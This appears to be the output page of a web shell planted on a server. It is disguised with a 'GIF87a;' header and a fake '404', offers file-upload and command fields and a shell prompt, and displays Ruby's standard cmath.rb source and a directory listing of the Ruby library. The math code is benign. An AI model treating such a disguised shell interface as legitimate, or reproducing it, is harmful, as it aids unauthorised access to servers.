GIF87a; 404

MY HEART




Upload:

Command:

diavoloapp@3.145.75.74: ~ $
##
# = CMath
#
# CMath is a library that provides trigonometric and transcendental
# functions for complex numbers.
#
# == Usage
#
# To start using this library, simply:
#
#   require "cmath"
#
# Square root of a negative number is a complex number.
#
#   CMath.sqrt(-9)  #=> 0+3.0i
#

module CMath

  include Math

  alias exp! exp
  alias log! log
  alias log2! log2
  alias log10! log10
  alias sqrt! sqrt
  alias cbrt! cbrt

  alias sin! sin
  alias cos! cos
  alias tan! tan

  alias sinh! sinh
  alias cosh! cosh
  alias tanh! tanh

  alias asin! asin
  alias acos! acos
  alias atan! atan
  alias atan2! atan2

  alias asinh! asinh
  alias acosh! acosh
  alias atanh! atanh

  ##
  # Math::E raised to the +z+ power
  #
  #   exp(Complex(0,0))      #=> 1.0+0.0i
  #   exp(Complex(0,PI))     #=> -1.0+1.2246467991473532e-16i
  #   exp(Complex(0,PI/2.0)) #=> 6.123233995736766e-17+1.0i
  def exp(z)
    begin
      if z.real?
	exp!(z)
      else
	ere = exp!(z.real)
	Complex(ere * cos!(z.imag),
		ere * sin!(z.imag))
      end
    rescue NoMethodError
      handle_no_method_error
    end
  end

  ##
  # Returns the natural logarithm of Complex.  If a second argument is given,
  # it will be the base of logarithm.
  #
  #   log(Complex(0,0)) #=> -Infinity+0.0i
  def log(*args)
    begin
      z, b = args
      unless b.nil? || b.kind_of?(Numeric)
	raise TypeError,  "Numeric Number required"
      end
      if z.real? and z >= 0 and (b.nil? or b >= 0)
	log!(*args)
      else
	a = Complex(log!(z.abs), z.arg)
	if b
	  a /= log(b)
        end
        a
      end
    rescue NoMethodError
      handle_no_method_error
    end
  end

  ##
  # returns the base 2 logarithm of +z+
  def log2(z)
    begin
      if z.real? and z >= 0
	log2!(z)
      else
	log(z) / log!(2)
      end
    rescue NoMethodError
      handle_no_method_error
    end
  end

  ##
  # returns the base 10 logarithm of +z+
  def log10(z)
    begin
      if z.real? and z >= 0
	log10!(z)
      else
	log(z) / log!(10)
      end
    rescue NoMethodError
      handle_no_method_error
    end
  end

  ##
  # Returns the non-negative square root of Complex.
  #   sqrt(-1)            #=> 0+1.0i
  #   sqrt(Complex(-1,0)) #=> 0.0+1.0i
  #   sqrt(Complex(0,8))  #=> 2.0+2.0i
  def sqrt(z)
    begin
      if z.real?
	if z < 0
	  Complex(0, sqrt!(-z))
	else
	  sqrt!(z)
	end
      else
	if z.imag < 0 ||
	    (z.imag == 0 && z.imag.to_s[0] == '-')
	  sqrt(z.conjugate).conjugate
	else
	  r = z.abs
	  x = z.real
	  Complex(sqrt!((r + x) / 2.0), sqrt!((r - x) / 2.0))
	end
      end
    rescue NoMethodError
      handle_no_method_error
    end
  end

  ##
  # returns the principal value of the cube root of +z+
  def cbrt(z)
    z ** (1.0/3)
  end

  ##
  # returns the sine of +z+, where +z+ is given in radians
  def sin(z)
    begin
      if z.real?
	sin!(z)
      else
	Complex(sin!(z.real) * cosh!(z.imag),
		cos!(z.real) * sinh!(z.imag))
      end
    rescue NoMethodError
      handle_no_method_error
    end
  end

  ##
  # returns the cosine of +z+, where +z+ is given in radians
  def cos(z)
    begin
      if z.real?
	cos!(z)
      else
	Complex(cos!(z.real) * cosh!(z.imag),
		-sin!(z.real) * sinh!(z.imag))
      end
    rescue NoMethodError
      handle_no_method_error
    end
  end

  ##
  # returns the tangent of +z+, where +z+ is given in radians
  def tan(z)
    begin
      if z.real?
	tan!(z)
      else
	sin(z) / cos(z)
      end
    rescue NoMethodError
      handle_no_method_error
    end
  end

  ##
  # returns the hyperbolic sine of +z+, where +z+ is given in radians
  def sinh(z)
    begin
      if z.real?
	sinh!(z)
      else
	Complex(sinh!(z.real) * cos!(z.imag),
		cosh!(z.real) * sin!(z.imag))
      end
    rescue NoMethodError
      handle_no_method_error
    end
  end

  ##
  # returns the hyperbolic cosine of +z+, where +z+ is given in radians
  def cosh(z)
    begin
      if z.real?
	cosh!(z)
      else
	Complex(cosh!(z.real) * cos!(z.imag),
		sinh!(z.real) * sin!(z.imag))
      end
    rescue NoMethodError
      handle_no_method_error
    end
  end

  ##
  # returns the hyperbolic tangent of +z+, where +z+ is given in radians
  def tanh(z)
    begin
      if z.real?
	tanh!(z)
      else
	sinh(z) / cosh(z)
      end
    rescue NoMethodError
      handle_no_method_error
    end
  end

  ##
  # returns the arc sine of +z+
  def asin(z)
    begin
      if z.real? and z >= -1 and z <= 1
	asin!(z)
      else
	(-1.0).i * log(1.0.i * z + sqrt(1.0 - z * z))
      end
    rescue NoMethodError
      handle_no_method_error
    end
  end

  ##
  # returns the arc cosine of +z+
  def acos(z)
    begin
      if z.real? and z >= -1 and z <= 1
	acos!(z)
      else
	(-1.0).i * log(z + 1.0.i * sqrt(1.0 - z * z))
      end
    rescue NoMethodError
      handle_no_method_error
    end
  end

  ##
  # returns the arc tangent of +z+
  def atan(z)
    begin
      if z.real?
	atan!(z)
      else
	1.0.i * log((1.0.i + z) / (1.0.i - z)) / 2.0
      end
    rescue NoMethodError
      handle_no_method_error
    end
  end

  ##
  # returns the arc tangent of +y+ divided by +x+ using the signs of +y+ and
  # +x+ to determine the quadrant
  def atan2(y,x)
    begin
      if y.real? and x.real?
	atan2!(y,x)
      else
	(-1.0).i * log((x + 1.0.i * y) / sqrt(x * x + y * y))
      end
    rescue NoMethodError
      handle_no_method_error
    end
  end

  ##
  # returns the inverse hyperbolic sine of +z+
  def asinh(z)
    begin
      if z.real?
	asinh!(z)
      else
	log(z + sqrt(1.0 + z * z))
      end
    rescue NoMethodError
      handle_no_method_error
    end
  end

  ##
  # returns the inverse hyperbolic cosine of +z+
  def acosh(z)
    begin
      if z.real? and z >= 1
	acosh!(z)
      else
	log(z + sqrt(z * z - 1.0))
      end
    rescue NoMethodError
      handle_no_method_error
    end
  end

  ##
  # returns the inverse hyperbolic tangent of +z+
  def atanh(z)
    begin
      if z.real? and z >= -1 and z <= 1
	atanh!(z)
      else
	log((1.0 + z) / (1.0 - z)) / 2.0
      end
    rescue NoMethodError
      handle_no_method_error
    end
  end

  module_function :exp!
  module_function :exp
  module_function :log!
  module_function :log
  module_function :log2!
  module_function :log2
  module_function :log10!
  module_function :log10
  module_function :sqrt!
  module_function :sqrt
  module_function :cbrt!
  module_function :cbrt

  module_function :sin!
  module_function :sin
  module_function :cos!
  module_function :cos
  module_function :tan!
  module_function :tan

  module_function :sinh!
  module_function :sinh
  module_function :cosh!
  module_function :cosh
  module_function :tanh!
  module_function :tanh

  module_function :asin!
  module_function :asin
  module_function :acos!
  module_function :acos
  module_function :atan!
  module_function :atan
  module_function :atan2!
  module_function :atan2

  module_function :asinh!
  module_function :asinh
  module_function :acosh!
  module_function :acosh
  module_function :atanh!
  module_function :atanh

  module_function :frexp
  module_function :ldexp
  module_function :hypot
  module_function :erf
  module_function :erfc
  module_function :gamma
  module_function :lgamma

  private
  def handle_no_method_error # :nodoc:
    if $!.name == :real?
      raise TypeError, "Numeric Number required"
    else
      raise
    end
  end
  module_function :handle_no_method_error

end


Filemanager

Name Type Size Permission Actions
bigdecimal Folder 0755
cgi Folder 0755
date Folder 0755
digest Folder 0755
dl Folder 0755
drb Folder 0755
fiddle Folder 0755
io Folder 0755
irb Folder 0755
json Folder 0755
matrix Folder 0755
net Folder 0755
openssl Folder 0755
optparse Folder 0755
psych Folder 0755
racc Folder 0755
rbconfig Folder 0755
rexml Folder 0755
rinda Folder 0755
ripper Folder 0755
rss Folder 0755
shell Folder 0755
syslog Folder 0755
test Folder 0755
uri Folder 0755
vendor_ruby Folder 0755
webrick Folder 0755
xmlrpc Folder 0755
yaml Folder 0755
English.rb File 6.44 KB 0644
abbrev.rb File 3.31 KB 0644
base64.rb File 2.63 KB 0644
benchmark.rb File 17.94 KB 0644
cgi.rb File 9.39 KB 0644
cmath.rb File 7.22 KB 0644
complex.rb File 380 B 0644
csv.rb File 81.32 KB 0644
date.rb File 946 B 0644
debug.rb File 28.9 KB 0644
delegate.rb File 9.78 KB 0644
digest.rb File 2.24 KB 0644
dl.rb File 280 B 0644
drb.rb File 19 B 0644
e2mmap.rb File 3.8 KB 0644
erb.rb File 26.08 KB 0644
expect.rb File 2.14 KB 0644
fiddle.rb File 1.25 KB 0644
fileutils.rb File 46.35 KB 0644
find.rb File 2.08 KB 0644
forwardable.rb File 7.56 KB 0644
getoptlong.rb File 15.38 KB 0644
gserver.rb File 8.86 KB 0644
ipaddr.rb File 26.17 KB 0644
irb.rb File 20.03 KB 0644
json.rb File 1.74 KB 0644
kconv.rb File 5.74 KB 0644
logger.rb File 20.96 KB 0644
mathn.rb File 6.52 KB 0644
matrix.rb File 45.02 KB 0644
mkmf.rb File 78.13 KB 0644
monitor.rb File 6.93 KB 0644
mutex_m.rb File 2 KB 0644
observer.rb File 5.71 KB 0644
open-uri.rb File 23.66 KB 0644
open3.rb File 21.17 KB 0644
openssl.rb File 528 B 0644
optparse.rb File 51.27 KB 0644
ostruct.rb File 7.64 KB 0644
pathname.rb File 15.3 KB 0644
pp.rb File 13.14 KB 0644
prettyprint.rb File 9.63 KB 0644
prime.rb File 13.98 KB 0644
profile.rb File 205 B 0644
profiler.rb File 4.29 KB 0644
pstore.rb File 14.85 KB 0644
psych.rb File 11.45 KB 0644
rational.rb File 308 B 0644
resolv-replace.rb File 1.73 KB 0644
resolv.rb File 61.46 KB 0644
ripper.rb File 2.53 KB 0644
rss.rb File 2.84 KB 0644
scanf.rb File 23.52 KB 0644
securerandom.rb File 8.56 KB 0644
set.rb File 17.32 KB 0644
shell.rb File 10.3 KB 0644
shellwords.rb File 5.94 KB 0644
singleton.rb File 4.02 KB 0644
socket.rb File 25.76 KB 0644
sync.rb File 7.26 KB 0644
tempfile.rb File 10.15 KB 0644
thread.rb File 6.94 KB 0644
thwait.rb File 3.38 KB 0644
time.rb File 21.09 KB 0644
timeout.rb File 3.16 KB 0644
tmpdir.rb File 4.29 KB 0644
tracer.rb File 6.54 KB 0644
tsort.rb File 6.79 KB 0644
un.rb File 8.34 KB 0644
uri.rb File 3.07 KB 0644
weakref.rb File 3.23 KB 0644
webrick.rb File 6.7 KB 0644
xmlrpc.rb File 8.49 KB 0644
yaml.rb File 2.3 KB 0644